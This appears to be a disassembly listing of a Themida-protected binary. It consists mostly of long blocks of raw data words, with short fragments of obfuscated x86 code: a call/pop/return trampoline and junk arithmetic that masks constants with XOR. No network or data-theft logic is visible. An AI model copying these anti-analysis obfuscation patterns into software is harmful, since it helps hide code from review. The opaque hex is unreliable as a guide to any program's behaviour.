		dd 0F5CACC3Ch, 4BAF04DAh, 0B1E2DBDBh, 3309E151h, 9BF0AC90h
		dd 0FEC0D116h, 0C86A25D9h, 0E8828E63h, 29591D8Dh, 266AAE15h
		dd 213108Bh, 4F1B1B3Ch,	0DE733F92h, 0DA681A79h,	26C4EBA7h
		dd 86E54E10h, 3B2F2016h, 19FC6CCEh, 7C47A80Ah, 1CAB4155h
		dd 55280718h, 0B1C2A0F8h, 227D05EFh, 34000003h,	74AB4ABAh
		dd 43F085F5h, 6CC352C2h, 2AF99C0Ch, 0DEBD58C8h,	2090F2ADh
		dd 0E959DE55h, 2595170Ch, 0F060E350h, 19ACB225h, 169AEFF0h
		dd 2442FA7Bh, 70BF56C6h, 88D2A313h, 5D59C92Bh, 0AB928A60h
		dd 0D839BF0Bh, 86F2246Dh, 0D9F6C710h, 0ACEA5ADAh, 63E2FCD3h
		dd 169BF5D7h, 53895566h, 93F1A9F0h, 7B435416h, 93F181C8h
		dd 0AF5B6C16h, 0F1DFFE85h, 0F1A81693h, 1D1E8BBEh, 0BEA69DBDh
		dd 82000000h, 5F57C724h, 9680F052h, 86F7C02Fh, 1989EA10h
		dd 0D444A77Ch, 80A858E2h, 7B986215h, 0F9C5EA49h, 0CCCA3AB8h
		dd 3BCCE4F3h, 0A5290EF1h, 68D46FC5h, 0D169B00h,	0AD51593Ch
		dd 0F050617Dh, 9F970764h, 0B89581AEh, 8E88F87Bh, 0C083D9B1h
		dd 108B6E77h, 8293506h,	0EF5B3AAAh, 6D3356EDh, 0E9BA1CABh
		dd 42B21001h, 0C2B54CBBh, 1DA58FB1h, 231h, 0BC59C925h
		dd 3920267h, 9461D12Ch,	0CCA9199Fh, 9263D357h, 971B9615h
		dd 5EE14E27h, 9C1807EEh, 59DA492Ch, 93BB0CE9h, 9AECE930h
		dd 69D39416h, 0BF56C624h, 0DF02C19Bh, 111086F2h, 0CDDE42B2h
		dd 1F8FEC1Dh, 59DFD476h, 3AD0ADE9h, 0B68D4F02h,	1086F293h
		dd 70A1495Ah, 7E73A313h, 0A01071FDh, 0A8B69976h, 0D6B4248Bh
		dd 9B0B68B7h, 0E72A99C3h, 861086F2h, 7557D5B5h,	0BD363060h
		dd 0BCAE6377h, 0ECF222D6h, 75EA56EBh, 0BA50FA75h, 0CD0D21A4h
		dd 3F10169Ch, 3FAF121Fh, 0AA6406F7h, 54735ACBh,	288E67D7h
		dd 3CAC0C58h, 94784B13h, 771089E8h, 0A347B73Ah,	2AF422F3h
		dd 5489134h, 62331CACh,	0B8288B88h, 0C40DB8A6h,	0A71CAC05h
		dd 0AD1D9D96h, 58DF4FBDh, 0E515E965h, 0FFE26AD9h, 96831AB6h
		dd 9A73A313h, 0F053E0B5h, 25A0BE80h, 2C6FFFCh, 0BD2D927Fh
		dd 253EF892h, 645F57C7h, 3EBD0AB5h, 0BF7F27CEh,	76A01073h
		dd 0FFF41DA8h, 0A67702C6h, 0BF98A689h, 7D13C994h, 2D4314EAh
		dd 39AF8CB4h, 43025436h, 4DCCFEBh, 4DBD3D6Ah, 5B5B7449h
		dd 52C24071h, 7BEB4F64h, 7D6D423Bh, 9FBF2F8Ch, 27C33392h
		dd 979F4EDh, 2898140Dh,	7B624BEEh, 0E1CC3D68h, 30A02011h
		dd 70A0605Ah, 0D747D76Eh, 0F5C60EC9h, 0BAE2F3E9h, 0F2874348h
		dd 962A71Eh, 38090EECh,	0C3734352h, 39F1B29Bh, 143BD1E8h
		dd 9D1F144Ah, 7614E92Dh, 0C8128C47h, 845A6B08h,	0FD1EDE53h
		dd 0A2DBF76h, 42BEC32Fh, 52FDB8Bh, 3F1F8FECh, 5718B616h
		dd 8E2E4CBh, 0D435B66Dh, 22871h, 0EDC2D334h, 0F3B24AA9h
		dd 0BC23068Dh, 72D0E111h, 48AB6802h, 0C7CF3FBCh, 0F31B3E05h
		dd 0D1E2268Dh, 0A40DD1FEh, 0ECE1D545h, 0F32E73D2h, 0FCCD268Dh
		dd 53B07F0Eh, 52D6DBE3h, 0C3F363C6h, 705E5CAh, 1826961Ah
		dd 29A6FA3Fh, 7218FB8Dh, 6558C1C4h, 0A471E162h,	0A2BC2C8Fh
		dd 0C30360B5h, 116CC429h, 0B79875A1h, 12D959D3h, 0AD000000h
		dd 0D46F6D2Fh, 1086F28Dh, 0D6545F70h, 0AB5F3066h, 5ACA2487h
		dd 74E4475Ch, 63D33142h, 49B93E33h, 66D6544Dh, 4FBF4330h
		dd 66D65A47h, 52C24330h, 7AEA4F64h, 0E468783Ch,	8900000Dh
		dd 89512414h, 4C181E1h,	81000000h, 4E9h, 240C8700h, 2414895Ch
		dd 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch, 68512434h
		dd 788C6971h, 81240C8Bh, 4C4h, 57E98100h, 8972705Dh, 8B5459CAh
		dd 0C4812434h, 4, 88068h, 24048900h, 8B8h, 89F00100h, 34FF5810h
		dd 0C4815E24h, 4, 5A2434FFh, 4C481h, 7BE90000h,	2FFFF95Dh
		dd 0E4DAA6F0h, 1C2057B8h, 0FFC50306h, 0D2A305E0h, 0FEC1E94Fh
		dd 0D02B7F66h, 0FBB4E216h, 3FFF6022h, 0CF326B01h, 3F49D35Fh
		dd 2A06D458h, 4D6C5915h, 0CA349019h, 96638A45h,	38BA2D50h
		dd 77E54503h, 96DF3773h, 0E5443A07h, 4F3E9902h,	0E036778h
		dd 1EE3ED6Fh, 0B28A6A00h, 3403346Bh, 0DE804h, 0AB7F0000h
		dd 3102A939h, 87B83CF7h, 817CEF16h, 346E6DF1h, 880F5B28h
		dd 8, 2880Fh, 9BB50000h, 65A6C381h, 0F600000h, 830FD6B7h
		dd 10h,	0BE9h, 2EF45E00h, 28379394h, 0BCA79A00h, 6861h
		dd 0E9580000h, 5, 41F32BE7h, 3348BCCh, 3D25BA66h, 0DB98C681h
		dd 81661089h, 81BFA4D2h, 0C86C6DC6h, 0C7BA6655h, 34EE8185h
		dd 6646D954h, 564C46BFh, 3048FF9h, 0E945EE80h, 12h, 984A8AC7h
		dd 58691649h, 0E0978807h, 130D5459h, 0E8833388h, 0EE801h
		dd 0B69A0000h, 72CB3606h, 0CDB45C3Fh, 4CEEF6BDh, 11E9h
		dd 2CEF900h, 42D42630h,	61BFED5h, 10254001h, 485FECB7h
		dd 9ABF4848h, 810CF428h, 0FF9B34F8h, 7A850FFFh,	0B9FFFFFFh
		dd 564E947Fh, 6E8h, 0B0A18800h,	6010E6B1h, 0AE8h, 94751F00h
		dd 343E0AB0h, 583E2B84h, 3185BA66h, 0BF0F5F61h,	79C781F2h
		dd 0E8000069h, 0Bh, 155702DFh, 10054447h, 569B21D7h, 5EFAED80h
		dd 1A2EBB5Ah, 0B9660000h, 78B4388h, 0C081C4B6h,	3C0B668Ah
		dd 2830Fh, 5FB50000h, 0E374E881h, 0C2810A62h, 0CA5A8B6h
		dd 7E6BE881h, 7E90543h,	4D000000h, 0E10BB9DAh, 6650E33Ah
		dd 78FCF8Bh, 10E8h, 0F452C300h,	242D03C2h, 34B14E67h, 7BDC22B1h
		dd 5EF38B71h, 6603EF83h, 4F8BBFBAh, 10E8h, 0D22B8800h
		dd 0FB1CBCFAh, 0FA312F67h, 2C75A799h, 7FD68018h, 1EB815Ah
		dd 0F000000h, 0FFFF8585h, 0D68166FFh, 8D8DBA21h, 61C2384h
		dd 371BD8Bh, 8D890615h,	6152721h, 12999529h, 85C70615h
		dd 61504CDh, 5D9Ch, 85C71EB0h, 6151115h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5EBD4B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EBD4B	proc near		; CODE XREF: Themida_:005EBD43p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5EBD4B	endp

; ---------------------------------------------------------------------------
		db 0B0h
		dd 148C0459h, 949A277Fh, 0B5FFF8EFh, 6150595h, 10E8h, 55062700h
		dd 65273009h, 8CB0A6F6h, 9E7F7560h, 95FF5BBAh, 61502C9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F0C35242h
		dd 0DC55EBA4h, 0F9884F14h, 95FF006Ah, 6152E21h,	6AEBC08Bh
		dd 4109241Fh, 0E185A48Ah, 7A87CC6Ch, 251DE820h,	1E2A74EBh
		dd 45137829h, 0B540719Dh, 0F6F9B438h, 14BEFDC2h, 0DAC65C11h
		dd 0CFA5D704h, 0B8AFA1C1h, 4237DD80h, 0F6781626h, 25E66C73h
		dd 417ADE66h, 0B1465295h, 0D5911DBCh, 2B961D0Bh, 0A1182450h
		dd 0C3F95BA0h, 0C3DACFF8h, 7A9B3493h, 9148591Ch, 1D89465Ah
		dd 597CB59Ch, 17E96CE8h, 26000000h, 373FD1h, 4 dup(0)
		dd 0E2E90000h, 68000004h, 61C2538h, 0F95A35E9h,	25B068FFh
		dd 2BE9061Ch, 68FFF95Ah, 61C26D9h, 0F95A21E9h, 68D856FFh
		dd 0A313968Dh, 70E05DD2h, 0BA2A8EA5h, 76E644DBh, 1083089Fh
		dd 7CB342B2h, 35EA8BFBh, 81AE47B7h, 0D0039202h,	0D612370Eh
		dd 18D9169Ah, 56C62424h, 80F05360h, 0C1F1C5F5h,	0D3E1D8FDh
		dd 0FB78620Ch, 0CEC838B8h, 804319F1h, 169C5EE0h, 2393161Bh
		dd 50701AF3h, 406FDF63h, 9CAEEF56h, 45C01693h, 6FD0E1D5h
		dd 50B7B7FFh, 6D24865Dh, 88A20742h, 0C82A9DBDh,	20000002h
		dd 9042873Eh, 18291693h, 624FCA72h, 1A7D6DDDh, 0C9F9BD34h
		dd 0FBCA4EF5h, 0E2B3169Bh, 52FDA91Ch, 0C67A0BF9h, 55FDC896h
		dd 1815E678h, 0D5A90F07h, 9BBC99A5h, 38EF0A17h,	3C29476h
		dd 1F136B82h, 0B3D66D6Fh, 3A1F2270h, 0F01D8169h, 4F923192h
		dd 2E1F2270h, 411D321Dh, 472393F0h, 67CAE7F5h, 50B2BFF7h
		dd 0F6D9B6E0h, 9C4F11E1h, 0CAA0E205h, 0D95EEA49h, 9680F04Dh
		dd 0DCB996B9h, 0A974E447h, 0AE4B9D3Ah, 4278BA9h, 5C000003h
		dd 8CA372E2h, 4BD8BD2Dh, 849B7AEAh, 52E1B424h, 0B6F580F0h
		dd 0C838BAF5h, 171F62Dh, 0CD3DBF74h, 878FB28h, 0D1745A6Dh
		dd 169AD788h, 0AB4AF273h, 4003DB0Bh, 16A31601h,	6769D3DCh
		dd 15CC7090h, 0AB0F243Ah, 65C55A3Bh, 0ACEA5AD9h, 0D4BAFCD3h
		dd 0A6A40703h, 7A4948A3h, 169A8657h, 0E92A0516h, 49741686h
		dd 169A8607h, 936ADA59h, 0B7D3F822h, 8C53AFC5h,	0D4000002h
		dd 140BEA5Ah, 0E3502595h, 0C23F262h, 0CA593CACh, 7E1DF868h
		dd 0C030920Dh, 979FE35h, 0C535B76Ch, 10800330h,	0B98C5285h
		dd 169AD790h, 4FA29A5Bh, 0F293B68Dh, 495A1086h,	3E78E84Ah
		dd 4FEFA941h, 45843F1Fh, 1816A316h, 69B40F07h, 16169AD6h
		dd 0A815349Bh, 309DC442h, 167h,	0E3624F0Ch, 0A04A4373h
		dd 76A01073h, 0E78EFE7Dh, 0EFCFFFBFh, 9BFB1C54h, 0E6D0E116h
		dd 93FB3E5Fh, 5D50C716h, 0BD2781ECh, 27079Dh, 0AB230000h
		dd 4003DB0Bh, 169BF5F0h, 0FB7ABC8Dh, 1693F1D2h,	80C9F49Bh
		dd 9DBD1CFDh, 0A818949Dh, 49F9916Eh, 0C5h, 66C7245Dh, 86F2BADFh
		dd 5F704110h, 0C03C7557h, 0F979BA50h, 9DBF8D89h, 9F5C0EB8h
		dd 8E3765A0h, 10869B4Bh, 88896132h, 667BBB2Bh, 8CC99505h
		dd 0E0C71D26h, 385337A5h, 14A01D16h, 1AF32393h,	5E0C0135h
		dd 86503C3Fh, 5DCD2E10h, 1E4EF2B8h, 36578540h, 1526169Eh
		dd 1A8AE849h, 1989EF44h, 0AD0D2271h, 3A28FB45h,	3E110890h
		dd 0D836D85Fh, 91F103B7h, 163h,	841181FDh, 3BDA4AAFh, 7C1989E4h
		dd 44D141A7h, 7A1B8BEFh, 0CF336E1Dh, 669B65Fh, 0D430FF96h
		dd 21A29164h, 0EBF3E4B1h, 9AD43158h, 13BBC16h, 0B4B864Fh
		dd 6671E146h, 7D6D1F74h, 0F6CD2E8Ch, 1086D0D3h,	0CFA6899Ah
		dd 0A273E360h, 0E0624F96h, 1A999A70h, 0BCA26CAAh, 86F2C009h
		dd 0BD9AAB10h, 8867B2C4h, 0BE6B1F08h, 8228CD3Dh, 15B08EBEh
		dd 169CF52Ah, 78667849h, 90F684CDh, 5D566716h, 0B87E6CDCh
		dd 0EE87F77Bh, 90F68AD3h, 0EF5FDC16h, 29991906h, 0C985EDh
		dd 4FA10000h, 0C580E162h, 1086F29Ch, 35614E5Fh,	3808B258h
		dd 568F3608h, 2516A316h, 89E94A14h, 0A3041D19h,	0C06E1C33h
		dd 0E555D5DEh, 25A484D2h, 7B6FFDF4h, 0A1BD2D8Eh, 0CD9568B4h
		dd 0E3453A5Ah, 654A4373h, 0BA39E685h, 5D59C92Eh, 0EC474F60h
		dd 47B6EDA4h, 0E70BB239h, 0ECDEDDEEh, 0B8FBA9A2h, 0F21FCB3Bh
		dd 0A542191h, 31D949A9h, 23138300h, 79A02339h, 9B27B9C4h
		dd 93475EA0h, 85960AD4h, 1BC70AB9h, 95A627B9h, 44B434F5h
		dd 1BC27352h, 36DF4FACh, 67228AE9h, 9A5206AFh, 5B5BCB2Fh
		dd 34624D62h, 933F6D6Ah, 52A2CB8Eh, 9773E361h, 162Bh, 883B2100h
		dd 27B95941h, 0CB6F1B2Ch, 0FED3864Fh, 979F7ED2h, 243941F3h
		dd 475C5ACAh, 314274E4h, 3E3363D3h, 544D49B9h, 433066D6h
		dd 5A474FBFh, 433066D6h, 4F6452C2h, 783C7AEAh, 4EC81h
		dd 1C890000h, 81E38924h, 4C3h, 4EB8300h, 5C241C87h, 81E68956h
		dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 0A5682404h, 89000008h
		dd 0EC832414h, 243C8904h, 5F2F3A68h, 0C14F5F04h, 0EFC105E7h
		dd 7EF8105h, 89FE430Bh,	0BD685FF8h, 8900003Ah, 4832424h
		dd 565A0424h, 24348150h, 2CA9438Ah, 8AF6815Eh, 892CA943h
		dd 0FF5E0872h, 815A2434h, 4C4h,	2434FF00h, 4C48158h, 0E9000000h
		dd 0FFF95566h, 0D9B0198Fh, 480FDC76h, 2861B877h, 0C503061Ch
		dd 5C5DE0FFh, 3E0E23CBh, 73D05AB7h, 59F07699h, 18110181h
		dd 0AC607E0Dh, 19402A8Bh, 738A34C9h, 0EA7D76F6h, 6E87F3Eh
		dd 1000000h, 8B2E75D9h,	13E9ADh, 55C20000h, 63A3D62Dh
		dd 3154EDC1h, 18663711h, 0CDA89843h, 0C08158E9h, 595Dh
		dd 8E8h, 0CFF13000h, 12217CDDh,	0F78B6692h, 66FF2B5Ah
		dd 469CD281h, 51381C8Bh, 0FB8B6660h, 0EB815A61h, 19216EE8h
		dd 0D16D681h, 0F3817D42h, 1728C332h, 81CA8B66h,	0E8E867EBh
		dd 0D9DD800Ah, 60381C89h, 8E9h,	0C8B69400h, 0A89A1317h
		dd 610EB3BFh, 215051BEh, 3EF832Bh, 4880Fh, 0BE660000h
		dd 0B94F0152h, 5519E2D9h, 0A76CFF81h, 850FFFFFh, 1Ah, 9C4EBA66h
		dd 27E9h, 39E78E00h, 2D7A322Dh,	0AC71B135h, 8FFEE127h
		dd 8D0F56EBh, 2, 79E9F18Bh, 0B0FFFFFFh,	0AB5CE4CAh, 0E6904A4h
		dd 7E8h, 0F28F8F00h, 209C92EAh,	58CABF0Fh, 0C2EAD981h
		dd 0C08131ACh, 6082h, 11E9h, 0B0121F00h, 1B0AA7D8h, 0A195F6B2h
		dd 0FECFBC3Bh, 0E2684A6Dh, 0FC000017h, 9E95Fh, 0D0050000h
		dd 0D398761h, 8BF7AF26h, 1B870F18h, 60000000h, 810Fh, 0EE90000h
		dd 0CC000000h, 8AA3AF12h, 0E4AC205Eh, 3C8F790Eh, 0EB816110h
		dd 140DCE98h, 6564EB81h, 81F857D9h, 4EDD38EBh, 0EA815205h
		dd 57F43248h, 0FE85359h, 9B000000h, 0F5C8F450h,	0B84DA818h
		dd 0A54313CEh, 5E891E3h, 58000000h, 0E9A2174h, 5EF08B66h
		dd 53008F5Ah, 13E8h, 5E101600h,	13068DAEh, 0DEFDA25Bh
		dd 0B36335C7h, 0DEF44E80h, 830Fh, 595E0000h, 0E902E883h
		dd 14h,	74A3C1C1h, 0BE011C82h, 0DF994230h, 7D7271BFh, 5C69F25Ch
		dd 0CE804848h, 850F4F1Dh, 0FFFFFF53h, 0B7D48060h, 0DFC18160h
		dd 0B21B58E5h, 0E8616160h, 10h,	75ADB00Dh, 40C57A9Ah, 31051B9h
		dd 807D4E7Bh, 0F121BB66h, 0C881665Ah, 0C2818EE0h, 5BF8h
		dd 58C38166h, 16CCBE3Ah, 0EB810000h, 7775497h, 816632FFh
		dd 5FCF1DE1h, 2E88151h,	595C054Bh, 0A962C781h, 0F96007C6h
		dd 10E960h, 14410000h, 0B00EFDD2h, 14447824h, 4640CC97h
		dd 58578537h, 0EF816161h, 6D3B8D92h, 6BC4F781h,	57F97416h
		dd 28FE58Ah, 0C18B6660h, 816177B1h, 1FE925EAh, 0B7D8812Eh
		dd 8147D6A7h, 1FE921C2h, 6E82Eh, 0B590000h, 66D0B441h
		dd 5BDFB70Fh, 0F01EE83h, 1985h,	38E0F00h, 80000000h, 19E911F7h
		dd 3F000000h, 4057C720h, 7A40701Bh, 0B866E453h,	69E9C685h
		dd 33FFFFFFh, 0B30C7B29h, 0BD83C08Bh, 61508F5h,	83097500h
		dd 1503ADBDh, 19740006h, 0C08B5350h, 421B8h, 85858900h
		dd 8D061513h, 17AA9E9Dh, 5BD3FF06h, 0ADBD8358h,	61503h
		dd 53501774h, 421B8h, 85858900h, 8D061513h
		dd 17A78D9Dh, 5BD3FF06h, 8BC08B58h, 1500319Dh, 0C585C606h
		dd 56061509h, 0A8B85268h, 11B5FF9Ch, 8D061528h,	1872BC85h
		dd 6AD0FF06h, 10006804h, 0B5FF0000h, 6150685h, 0D0FF006Ah
		dd 850FC085h, 0Dh, 0B8h, 0D8D8D00h, 0FF061572h,	8BC88BE1h
		dd 3C4003C3h, 0F805h, 0C508B00h, 0BD83D303h, 6150FFDh
		dd 0E840F00h, 8B000000h, 150FFD9Dh, 69858B06h, 8906152Fh
		dd 8D525103h, 1543E485h, 8BD0FF06h, 8BF18BFAh, 0F3C88BD1h
		dd 0C585C6A4h, 56061509h, 1F6D3968h, 11B5FFD4h,	8D061528h
		dd 1872BC85h, 68D0FF06h, 8000h,	0FF52006Ah, 83C08BD0h
		dd 1508F5BDh, 9750006h,	3ADBD83h, 74000615h, 8B535019h
		dd 421B8C0h, 85890000h,	61502A1h, 0AB059D8Dh, 0D3FF0617h
		dd 0BD83585Bh, 61503ADh, 50177400h, 421B853h, 85890000h
		dd 61502A1h, 0A7A69D8Dh, 0D3FF0617h, 0C08B585Bh, 0FFD9D8Dh
		dd 38B0615h, 840FC00Bh,	7, 5B8B038Bh, 0B8188904h, 4B41h
		dd 0BE8h, 0E6811200h, 0D6D2CF60h, 2A5360BAh, 0A6E78166h
		dd 8B66594Ah, 0FFC181FEh, 6600006Fh, 0BEDF8Bh, 0BA000000h
		dd 0E28BBC7h, 0B331048Bh, 74E8814Eh, 0BF39F605h, 63EB3E16h
		dd 0A4B1E881h, 7E90B85h, 73000000h, 798EC618h, 0C0810F0Fh
		dd 7EC2CE62h, 310489F8h, 50F28160h, 0E85C77D2h,	0Eh, 2201D86Ah
		dd 8316534Ch, 0A42F316h, 59537D28h, 29B7615Eh, 6604EE83h
		dd 0FE81F98Bh, 0FFFF90A8h, 13850Fh, 81660000h, 0E9DF2FCFh
		dd 1Ch,	8B982CF5h, 5FBDACE7h, 0E9DC8AE5h, 0FFFFFF88h, 0B87DF66Ah
		dd 9D07D9Eh, 4536B865h,	0AE8h, 7A5BCB00h, 831F93DCh, 0F7B64A9h
		dd 0E95FCFBFh, 0Ch, 21C15EAh, 30F3D66h,	2DC09768h, 0DA3AC781h
		dd 0CE8B0000h, 365F68h,	58CF8B00h, 0BED181h, 378B6184h
		dd 14E8h, 4A787A00h, 7A2FAA6Eh,	47BCF338h, 0F48AF105h
		dd 297F76BAh, 0CA8B66CFh, 85F68159h, 0B934719Eh, 2EEE633Eh
		dd 3ABF681h, 13E9461Bh,	0C7000000h, 6EAD0BC5h, 0B90DCACBh
		dd 3CF005E4h, 1DF76863h, 0C681846Ah, 18D2B5EFh,	8CCB8166h
		dd 840F56F1h, 0Bh, 58E0Fh, 75B90000h, 8F6CCC5Ah, 0EE907h
		dd 0CBBF0000h, 46496875h, 687FAFBEh, 0A4C69E73h, 0B504EF83h
		dd 1E8818Eh, 0F000000h,	0FFFF7585h, 0E93BB6FFh,	85h, 740171CDh
		dd 2BCA3ABFh, 6C0979F4h, 34C131B7h, 6A0B7BFFh, 0BF437E2Dh
		dd 0F679A64Fh, 0C440EF86h, 1172C154h, 0DB03D4A1h, 9ADC2168h
		dd 0F14BCC16h, 6254C424h, 0FE6ED2C1h, 0F2709A17h, 0EFF61086h
		dd 7310CAD4h, 1089BC48h, 4D123CECh, 3C510h, 2FE10000h
		dd 5ACA244Bh, 74E4475Ch, 63D33142h, 49B93E33h, 66D6544Dh
		dd 4FBF4330h, 66D65A47h, 52C24330h, 7AEA4F64h, 0A968783Ch
		dd 0E9061C2Eh, 0FFF94F26h, 40CEBFCh, 8D4F82EFh,	0F34C508Dh
		dd 0E92F97A5h, 618h, 60CE9h, 9C0C6A00h,	57C72AF9h, 0A41471BEh
		dd 6EDE62D1h, 0AA1A9887h, 0E4DFCCCBh, 0B07F1686h, 0E936DF4Fh
		dd 0A57A1B8Bh, 943FD646h, 0DDD6FBCAh, 0D495169Ah, 58C8298Ah
		dd 9189615Eh, 8757C724h, 5C5ACA2Ah, 948D8763h, 0BC2C8C18h
		dd 92B2857Ah, 0D29D3B15h, 0F6EB2B04h, 1C150171h, 0FBE82E9Eh
		dd 0FA370777h, 0B6600A7Ah, 0F3CB3BBDh, 4EAE3ABEh, 0C8C5F1DEh
		dd 2D0A4FF6h, 20F11086h, 0DC02CC4Ah, 862D2069h,	10FACB10h
		dd 432A223h, 2797191Ah,	0BF6C1EEFh, 5ECCCA3Ah, 0F1546A9Ah
		dd 16A3FEFCh, 3495141Dh, 9BFC4891h, 4D623316h, 22967449h
		dd 89E44D11h, 0AEC37119h, 0E936DF4Fh, 9B1A1C8Ch, 5C3840BEh
		dd 62C6EBADh, 2EA118F2h, 0E62B9AC4h, 855F3D99h,	0D855D6B4h
		dd 0BD885668h, 5F3D9994h, 0C9A44657h, 0D1ED1DE1h, 184A7F72h
		dd 893CFE59h, 45516840h, 1351A2Bh, 2494161Bh, 0F767C546h
		dd 43B3111Eh, 0B7C7F053h, 0FF660F04h, 575F7D0h,	79A02339h
		dd 4B0A527h, 6E3C5733h,	9AC49ACAh, 0A527E62Bh, 0D6B485B0h
		dd 284DC580h, 85AEB6B8h, 0E1D5B525h, 44A50ED0h,	133960E3h
		dd 0F3C4B6BEh, 0AEE5DADCh, 2EDC4Ch, 0BE135885h,	0BC2C8EB6h
		dd 0E488D7Ah, 0EC73F5DBh, 0E4D242A7h, 598A35DCh, 0B29746F1h
		dd 3DE06A47h, 1ACDh, 7CCA0B00h,	0AD7C8D3Fh, 0EBE1540Fh
		dd 5F2662CCh, 0A34768D8h, 353B56Fh, 24D10000h, 4BBB3CC8h
		dd 0C4413264h, 5C5E6254h, 0F2A1BB7Bh, 0D5B5901Ch, 58D4F3DAh
		dd 14410DE8h, 0BF243F81h, 0D7543665h, 4EB1E555h, 0D3FABF87h
		dd 6D0878F4h, 40CF37B6h, 46B63B28h, 10587F50h, 87F77939h
		dd 0BE91BE8Fh, 95056B78h, 0CCF3A2A1h, 340A7AFBh, 0A61D7EFFh
		dd 10867463h, 7416390Ah, 0EB203519h, 0E72A99A3h, 8610869Dh
		dd 0B95BA2B5h, 9C30FDDAh, 5C214573h, 6A530FAEh,	1D9D2E1Fh
		dd 2D86C8ADh, 655A5CCCh, 0B3238485h, 99096E83h,	0F23F019Dh
		dd 85401E8Eh, 0D1E535Ch, 355C0E1Fh, 2EBA3D8Ah, 67585ECEh
		dd 0DB07AD48h, 45000000h, 6D1D8DECh, 0E010ABC5h, 0CE3EBDB6h
		dd 0CD3DC3F0h, 64E14E1Dh, 67C9EAF4h, 1CCEBFF7h,	0F24E93F2h
		dd 0A8B21086h, 0F2CA0FB6h, 0C4B11086h, 0C0BDF969h, 290BC8EFh
		dd 0DA945BA2h, 71568930h, 8DD1A414h, 6155C524h,	2A8D7E6Ch
		dd 4677CBAh, 0B69CA94h,	23869B9Bh, 40EE9CB3h, 5A5CCC33h
		dd 3F77E749h, 0DDEAD544h, 4EC2ED5Dh, 68CFF8E7h,	6ACDE6F8h
		dd 0AE8510FAh, 0C4DDD949h, 0C5C0F666h, 0D95E6954h, 9CC28C69h
		dd 86D3E029h, 0D0BA8B10h, 276FDF63h, 60DC0EC8h,	4AADC6F0h
		dd 0CACC3CBEh, 1DDCDAF5h, 0AF9A4974h, 92F0D706h, 7E45A606h
		dd 1086D35Bh, 0F83E1122h, 0D64D2807h, 36BCA56h,	0D180F239h
		dd 0B8FBD49Dh, 0AFE7C838h, 86D30854h, 7A65D410h, 48B83B78h
		dd 0A31371A2h, 0C82466D2h, 0E7455E58h, 11883F77h, 5BCB299Eh
		dd 0F7EBF7BAh, 86E51086h, 0EC7C3916h, 7697A822h, 0FFFFFF09h
		dd 0DB0BAB92h, 6704003h, 0AAAB169Ch, 0D4214F88h, 0E6444FC5h
		dd 9B4F4076h, 0D84832FBh, 0CD08F6F1h, 0C9EAB4E2h, 0EB5BDC68h
		dd 0B9FDD2ABh, 0DADC4CA8h, 0F320CAE5h, 0DE552090h, 0B8A9ED5Dh
		dd 0DB4BAC38h, 0F666C6DBh, 0CFE0CFC0h, 0DDD057C7h, 4A2189EAh
		dd 0C646F10Dh, 66D6565Dh, 0F477AC49h, 0B39C0C68h, 0B42486ABh
		dd 2FDD8D82h, 930988D4h, 0F363E016h, 0DB4BAEC3h, 7E31D8DBh
		dd 0A20D8465h, 0BF56C625h, 73A31370h, 3D013105h, 4BB3121Fh
		dd 763B0FACh, 9482AD26h, 7CF4CFBBh, 1108EB6h, 0A1556530h
		dd 0D46F6D71h, 1CACA58Dh, 0A9AB5F70h, 8976AB1Ah, 9D99AA1Ah
		dd 0DDB82884h, 4076E646h, 63C854C5h, 0CD00A748h, 6B0A7AFAh
		dd 0D3C333B4h, 0A8EE5EDEh, 0CEC838BBh, 0B2E454D5h, 0EAF9E455h
		dd 0E5607E40h, 4B6211BCh, 157C6E3Fh, 0FD1A9FAAh, 0B6A2F38Ch
		dd 76000000h, 35DC524h,	0D45AA260h, 3365BEAh, 0E4B51086h
		dd 4D11E4CBh, 751585E4h, 2CC939B4h, 3D0171F7h, 610979F4h
		dd 2D9D1D12h, 0E757DB48h, 1B3E05D7h, 0E2108603h, 0F05A39D1h
		dd 0E6D040C3h, 160070CDh, 0B7741639h, 2935C030h, 3499033h
		dd 63341086h, 3363D330h, 183B05Ah, 845A0491h, 860398C1h
		dd 0B8526310h, 0ED88F87Bh, 7A44B436h, 0C4FB739h, 93A09BE4h
		dd 2926103Fh, 3482D341h, 4A4CBC3Fh, 0B413BA6Bh,	6A74C333h
		dd 8659B6DBh, 0D0733510h, 10865989h, 0E98CA374h, 0ED4ABA3Ah
		dd 6539B9h, 944D0000h, 86F21F39h
		dd 0BB26310h, 0F565CAE7h, 561ECCC1h, 55C524E2h,	861273C0h
		dd 8C81B525h, 0DB5DD2A3h, 15958A6Bh, 7CBA2A89h,	0F2EE3392h
		dd 0BC8D1086h, 4AD9BC93h, 786678E8h, 86F284CDh,	0E959DA10h
		dd 5F70D0ADh, 0EC53E0ABh, 2A8A997Ch, 0E744DBBAh, 9BBC9E77h
		dd 0B0DAA653h, 69593120h, 3, 244B2F3Dh,	475C5ACAh, 314274E4h
		dd 3E3363D3h, 544D49B9h, 433066D6h, 5A474FBFh, 433066D6h
		dd 4F6452C2h, 783C7AEAh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		push	7215h
		mov	[esp], ebp
		push	edi
		mov	edi, 38692C93h
		push	ebp
		mov	ebp, 17554287h
		xor	ebp, 45733CF5h
		and	ebp, 56E63F11h
		dec	ebp
		shr	ebp, 4
		add	ebp, 48C9FC48h
		or	edi, ebp
		pop	ebp
		and	edi, 553E642Dh
		sub	edi, 4F1034E3h
		mov	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	eax
		push	edx
		mov	edx, 9DB5821h
		xor	[esp+4], edx
		pop	edx
		pop	dword ptr [ebp+8]
		xor	dword ptr [ebp+8], 9DB5821h
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
